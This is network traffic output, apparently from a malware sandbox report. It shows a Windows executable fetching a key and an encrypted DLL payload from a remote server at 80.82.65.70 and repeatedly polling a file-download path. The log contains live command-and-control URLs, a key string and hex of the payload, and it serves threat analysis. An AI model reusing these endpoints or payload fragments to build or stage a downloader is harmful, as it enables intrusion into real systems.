Dec 12, 2024 23:09:07.681962967 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.682010889 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.682049990 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.682089090 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.682790995 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.682830095 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.682944059 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.682984114 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.683640003 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.683725119 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.683752060 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.683780909 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.684581995 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.684628963 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.684708118 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.684746027 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.685400963 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.685450077 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.685607910 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.685647964 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.686239958 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.686369896 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.686413050 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.687122107 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.687218904 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.687218904 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.687258959 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.687956095 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.687999964 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.688033104 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.688071966 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.688807011 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.688855886 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.688930988 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.688988924 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.689649105 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.689691067 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.689735889 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.689820051 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.690515041 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.690570116 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.690613031 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.690640926 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.691354036 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.691420078 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.691478968 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.691596985 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.692234039 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.692279100 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.692352057 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.692415953 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.693074942 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.693115950 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.693176985 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.693216085 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.693962097 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.694005966 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.694062948 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.694129944 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.694788933 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.694833994 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.694912910 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.694969893 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.695667028 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.695708036 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.695713043 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.695749998 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.696517944 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.696635962 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.696681023 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.697385073 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.697427034 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.697458982 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.697501898 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.698252916 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.698312044 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.698343039 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.698358059 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.733159065 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.800904036 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.800935030 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.800946951 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.800970078 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.801107883 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.801141024 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.801369905 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.801409960 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.802005053 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.802056074 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.802129984 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.802167892 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.802870989 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.802912951 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.803018093 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.803057909 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.803869963 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.803913116 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.804054022 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.804090977 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.804593086 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.804649115 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.804670095 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.804709911 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.805483103 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.805628061 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.805674076 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.806277990 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.806447029 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.806484938 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.807152987 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.807203054 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.807254076 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.807291985 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.808003902 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.808042049 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.808096886 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.808608055 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.808897018 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.809025049 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.809056044 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.809823036 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.809880972 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.809948921 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.810533047 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.810729027 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.810852051 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.810888052 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.811573982 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.811618090 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.811676979 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.811707973 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.812381983 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.812480927 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.812513113 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.813133955 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.813179970 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.813285112 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.813317060 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.814073086 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.814148903 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.814172983 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.814193964 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.814886093 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.815009117 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.815051079 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.815733910 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.815778971 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.815849066 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.815881014 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.816598892 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.816711903 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.816747904 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.817452908 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.817491055 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.817528009 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.818324089 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.818357944 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.818424940 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.818456888 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.819153070 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.819294930 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.819351912 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.820019007 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.820045948 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.820079088 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.820214987 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.842557907 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.842639923 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.842648983 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.842686892 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.843058109 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.843076944 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.843102932 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.843115091 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.843806982 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.843975067 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.844012976 CET	49744	80	192.168.2.4	80.82.65.70
Dec 12, 2024 23:09:07.844708920 CET	80	49744	80.82.65.70	192.168.2.4
Dec 12, 2024 23:09:07.844752073 CET	49744	80	192.168.2.4	80.82.65.70

HTTP Request Dependency Graph

80.82.65.70

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49736	80.82.65.70	80	7020	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 23:08:30.600440025 CET	412	OUT	GET /add?substr=mixtwo&s=three&sub=emp HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 12, 2024 23:08:32.034440041 CET	204	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 22:08:31 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 12, 2024 23:08:32.048204899 CET	386	OUT	GET /dll/key HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 12, 2024 23:08:32.544460058 CET	224	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 22:08:32 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 21 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 39 74 4b 69 4b 33 62 73 59 6d 34 66 4d 75 4b 34 37 50 6b 33 73 Data Ascii: 9tKiK3bsYm4fMuK47Pk3s
Dec 12, 2024 23:08:32.641680956 CET	391	OUT	GET /dll/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 12, 2024 23:08:33.198153019 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 22:08:32 GMT Server: Apache/2.4.58 (Ubuntu) Content-Disposition: attachment; filename="fuckingdllENCR.dll"; Content-Length: 97296 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: application/octet-stream Data Raw: 58 4d 20 a9 34 49 68 99 fe 5d 0a b3 eb 74 b6 26 d0 73 db 11 cf 76 c9 30 7b 06 76 1e 76 73 27 c0 ad eb 3a aa 6c ec 68 b4 13 95 65 19 c0 04 a4 9f 52 d6 da b1 8e f9 31 83 b8 06 72 fc 52 2b 46 6b 2a f7 94 87 96 7e f9 73 f3 a2 8e 06 fa 0b c3 51 a1 b1 0b 1e e4 72 c9 54 ac 62 d5 ed 06 c7 96 dd b1 7e 63 b2 8d 5b 1d 87 0b cf 81 a3 a5 ba ba 3b a3 fc ff 6a ac 40 e8 30 b2 25 84 88 f9 dd 19 78 dd e8 c7 76 cb 77 fb f0 2e a7 1d 3c 72 75 0a 1c 17 d3 59 72 65 3b f4 62 36 1d 14 b2 48 51 2d d4 ec ba cd 38 bf 42 b3 9b 51 82 61 a1 c0 c6 52 bc 3a cc 68 26 72 90 a0 a6 17 be fc 07 3d a2 3b 72 1e 6b e2 0b 54 e2 40 e0 ea b9 d0 e1 6c 8b cf 3b 23 fd 94 33 21 e6 4f b4 00 78 da 7d a1 13 e8 b9 03 f4 00 bb ce 79 27 3c 0a 47 66 51 90 4b af 23 d8 4c 35 76 10 1e 5d d4 b3 01 f6 db 8a 1e 18 de 64 f3 a6 e9 b9 b8 cb fe 4e 7b 65 a0 c7 bc 40 05 fa f3 1e a1 c2 e7 7f 08 cd ec 7f e9 a4 1b b2 f5 41 5c 8e 11 3c bc 74 f3 75 ed 58 15 4f ef 6e c5 e9 5a 89 8e 20 86 58 62 b1 4f 3c 84 2a 5a a5 a4 cf 68 7e 9b 28 b1 57 99 66 af 7a 0d 56 cb 34 09 db 4c [TRUNCATED] Data Ascii: XM 4Ih]t&sv0{vvs':lheR1rR+Fk~sQrTb~c[;j@0%xvw.<ruYre;b6HQ-8BQaR:h&r=;rkT@l;#3!Ox}y'<GfQK#L5v]dN{e@A\<tuXOnZ XbO<Zh~(WfzV4L%50H`syB(IL5s:aS}XM9Jo)'M;n6]Wn)L_e>[RA.'6N.g6IY%h 3r^\b~y/h2ZLku}V<fbD<!_2zoIEPOuPw#6N&lR}GILYNyzjHy'_5Pd9y+6q)GcL#5\M5U])U(~HmYG1r4BhP]iM%)q.]~\|jbK!N7R}T2bsq1L^!\|qD'sLnD@bn%0=bQ1+lQXO\|NC.d{08F<Wy{oj3n4eS] KoBH~sh1m86{lsRq~w_;X*#U
Dec 12, 2024 23:08:33.198194027 CET	1236	IN	Data Raw: 98 ce 36 6e 99 4f 44 62 54 a0 2b 5a 63 96 17 1c 8e 71 d6 10 c5 90 ce 53 f1 24 2d 53 60 59 54 cc 01 e7 c4 70 93 60 32 41 18 ce 0d 55 c7 24 07 69 64 06 3a b3 b0 e0 76 6e 84 3b d8 aa e7 9e f0 d5 ee 45 9c b1 50 a7 0a df 3f 11 c8 6e 7d 41 c9 76 d2 0f Data Ascii: 6nODbT+ZcqS$-S`YTp`2AU$id:vn;EP?n}AvLwU\|}"Gi9ZIxw.sY-KnP2oWci#2kgDZ6~,o9"opx(uccgv@M)nL
Dec 12, 2024 23:08:33.198210955 CET	1236	IN	Data Raw: 44 70 21 ac fa dd 10 12 6c 8f df 8d 2a 52 37 0a bc 2b 32 e0 ca d2 85 4a 5e 2a bb 89 27 6f b7 ed ec 11 16 da 35 88 e8 c7 a0 fb 57 12 bc ee 7b 8e 20 56 98 d0 5f d5 fa 6e b8 a6 bb 07 ab 54 57 ec 21 3a 2e 06 6d 3f c9 25 6c 63 ce e7 5a 5e c2 32 24 bd Data Ascii: Dp!lR7+2J^'o5W{ V_nTW!:.m?%lcZ^2$2[#LeCe+: rUz(-dFI?[VH0-!{</Bge!ygJZ=XwPMeh5]Bki'\L4u
Dec 12, 2024 23:08:33.198432922 CET	1236	IN	Data Raw: 42 47 80 86 ae 70 77 dd c9 a4 43 ea 79 cc 36 24 d5 a0 a8 68 e2 19 03 24 ed 93 0c db 15 78 2a 88 5a 7c 59 51 fe c6 7c 01 35 8f e1 23 99 84 04 00 e3 d2 e6 6e e4 8f 85 26 21 77 40 81 44 b6 9f 1d 75 1d 8d 68 73 3a 7c 42 46 c1 18 9b 47 fd 90 63 33 b4 Data Ascii: BGpwCy6$h$xZ\|YQ\|5#n&!w@Duhs:\|BFGc3_^MH_FJn-U,e?lzR3Ib=nuH_x}q^6vP2'\:)j!gJH:yA".E<tj)>N]
Dec 12, 2024 23:08:33.198457003 CET	1236	IN	Data Raw: 65 3b 47 31 40 6c 58 a4 f2 72 e0 62 45 fe 13 75 f3 bf 71 98 82 ed 0b 91 d9 fa 6f fb bb 0c b6 96 17 6c 50 87 9d 6a f0 e3 e5 e5 17 2f 04 e1 78 4b 7b ec a4 0a 66 3a c7 1b de e3 06 f4 33 94 a4 66 e3 66 11 87 2a 50 e7 5f f0 a7 8b 90 b0 e7 20 a1 56 ea Data Ascii: e;G1@lXrbEuqolPj/xK{f:3ff*P_ VufJJh2~Uz=;6DmjDX,t3{etiOaB?hcMT#iHyKg7`Cx6'JgYOL(>@2O0inol%t-9'
Dec 12, 2024 23:08:33.198472977 CET	1236	IN	Data Raw: 18 fc a2 90 2b 67 71 38 68 4e e5 23 79 cf 33 c9 7b 68 89 24 07 d9 65 9b c2 05 5b 73 79 a0 fa 5d 0b 18 e7 03 da 3c 02 9a eb 59 06 94 8c a5 f8 69 3f f6 01 62 ec cb f9 de 45 fa 09 83 a3 f7 21 af d3 6f d5 a4 26 c7 c1 ee 10 d1 cd 23 d9 b7 3d bf ce a7 Data Ascii: +gq8hN#y3{h$e[sy]<Yi?bE!o&#=fmCALA-0BiwXV-+[X>Og{:i{It_v50#xa=cWBd/QFI6N' 3F$R/3Oqt]uqp3GU@(
Dec 12, 2024 23:08:33.198491096 CET	1236	IN	Data Raw: 86 d0 0e 0e f5 2b 0b f5 8d f7 79 40 71 81 e1 45 02 36 97 09 61 9b 5f dc b2 b1 d0 95 a0 5d 70 7b 40 b1 c5 76 fa 38 88 2f 7c 5a a9 00 9d 47 93 df 14 da 54 c6 55 b5 fc 8e fd 29 bf 7f d9 f7 52 82 c1 5f b3 a1 7d bb 48 e0 29 38 0d 63 13 83 b6 e2 b0 e0 Data Ascii: +y@qE6a_]p{@v8/\|ZGTU)R_}H)8c'ATd10?lg;&jg8KnWwD0a_r+42}20.u~Q$z2i@=sdkO8m(pC
Dec 12, 2024 23:08:33.198749065 CET	1236	IN	Data Raw: c3 9c 69 5d eb 54 db 81 bb 6b 66 5e ab f4 9b 3d ee ff 1b d1 4b 71 18 e1 6e 42 a8 ab 9c 98 14 85 99 99 0e a1 66 a6 1c 27 bd 4a b3 a3 d4 cf 6b 2b dc 89 26 b7 59 fe 26 0d 72 54 62 f2 c9 80 5f 45 0d 82 64 28 85 e9 69 0d 69 77 dd df e1 4d 16 de d3 9a Data Ascii: i]Tkf^=KqnBf'Jk+&Y&rTb_Ed(iiwM3mo.m4moNm09k-:zTzxGc\|Ub<\|Y>. Tu#f-UM!+g@!4<fG7IkEl
Dec 12, 2024 23:08:33.206496954 CET	1236	IN	Data Raw: bf 33 41 12 5b 52 91 a7 94 e0 e5 21 5d 8d 93 1b 30 af be 5e 8f 7b 94 24 bc 87 3d 50 74 38 00 cd a5 7b 35 ab 90 44 11 e5 40 7a 29 92 1d b3 4a 52 10 d4 8d 43 b3 ff 3c 6b 20 35 4a e1 86 bc f7 99 68 67 d7 c4 fb c8 a1 b9 38 b1 27 61 b3 3c e2 f9 cc 06 Data Ascii: 3A[R!]0^{$=Pt8{5D@z)JRC<k 5Jhg8'a<dIC2ui$wtHLnc}QJ4;[r\|^%<t5S[AIa+48*xs30SxNZCPH3U"~6GxeZE3 SZF&=Qt`d^u
Dec 12, 2024 23:08:33.206646919 CET	556	IN	Data Raw: c8 a2 6d 52 66 a8 66 51 d1 c3 c9 87 9b d8 0b 44 57 eb 08 d8 cd bc b7 be b7 f1 4b 89 c0 b1 44 55 84 bc 8d 8d 36 2c c3 07 89 a5 46 50 8a ac fe f3 ba 23 4d 4f e4 0f 27 9f e1 11 07 f4 e0 e7 17 61 0e 07 54 3f cc 3f ae 3a 77 4d e4 44 61 15 b1 b3 97 25 Data Ascii: mRffQDWKDU6,FP#MO'aT??:wMDa%k;3?Bc\| yp`yzlSniVN(Bv}:XsOf.~zToX8n K$:D6Z%NNng=t+L~6DtFX[a/[
Dec 12, 2024 23:08:33.212742090 CET	1236	IN	Data Raw: c4 2b ef bd 7d 2c 43 08 ed 7b 6b 29 6e 0e 1f c4 b7 82 38 dd 6c d9 86 f4 10 35 b0 a5 85 fc 11 b1 d2 2f 8d 77 64 e2 a9 08 d7 d5 3c d2 4a 6a 78 59 69 0f 6c e4 a9 b3 24 c6 f4 58 9a 23 39 7d c7 13 4c f7 63 fc 1e b2 57 02 df 46 1e fd 6d 66 5c 34 7b 69 Data Ascii: +},C{k)n8l5/wd<JjxYil$X#9}LcWFmf\4{iEd"Fl@=l5scroIjyjGEQAQ.b3zH;7[R?b&=Z}BH(-uKDnVc]F?`(&z=eSO'gu)
Dec 12, 2024 23:08:33.889425993 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 12, 2024 23:08:34.377490997 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 22:08:34 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 12, 2024 23:08:36.406088114 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 12, 2024 23:08:36.889275074 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 22:08:36 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 12, 2024 23:08:38.906124115 CET	393	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
